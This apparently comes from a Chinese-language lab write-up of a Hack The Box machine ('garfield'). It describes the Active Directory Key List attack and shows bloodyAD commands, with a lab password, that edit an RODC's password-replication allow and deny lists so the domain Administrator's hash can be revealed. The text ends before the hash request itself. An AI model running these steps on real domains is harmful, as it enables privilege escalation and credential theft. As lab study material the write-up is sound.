Key List Attack

在拥有伪造的 TGT(即 RODC 黄金票据)后,攻击者利用它向可写域控发送带有 KERB-KEY-LIST-REQ 扩展的 TGS-REQ 请求。如果成功,可写域控会在响应中直接返回目标用户的 NT 哈希

1. 要求:

  • 允许列表: 目标用户必须存在于 RODC 对象属性 msDS-RevealOnDemandGroup(允许列表)中。
  • 拒绝列表: 目标用户绝不能存在于 msDS-NeverRevealGroup(拒绝列表)中

利用参考RODC黄金票据

2. 利用

2.1. 修改允许、拒绝列表

为了横向到可写域控的管理权限,我们需要先在允许列表中添加管理员,在拒绝列表中移除管理

2.1.1. 在允许列表msDS-RevealOnDemandGroup中添加 Administrator对象

bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

查看一下是否更新成功

┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get object 'RODC01$' --attr msDS-RevealOnDemandGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Administrator,CN=Users,DC=garfield,DC=htb

2.1.2. 清空拒绝列表msDS-NeverRevealGroup

#移除之前
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get object 'RODC01$' --attr msDS-NeverRevealGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-NeverRevealGroup: CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Account Operators,CN=Builtin,DC=garfield,DC=htb; CN=Server Operators,CN=Builtin,DC=garfield,DC=htb; CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb; CN=Administrators,CN=Builtin,DC=garfield,DC=htb

#移除
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  set object 'RODC01$' msDS-NeverRevealGroup
[+] RODC01$'s msDS-NeverRevealGroup has been updated

#移除后
┌──(root㉿kali)-[~/Desktop/htb/garfield]
└─# bloodyAD --host 10.129.15.215 -u 'l.wilson_adm' -p 'Admin123'  get  object 'RODC01$' --attr msDS-NeverRevealGroup

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb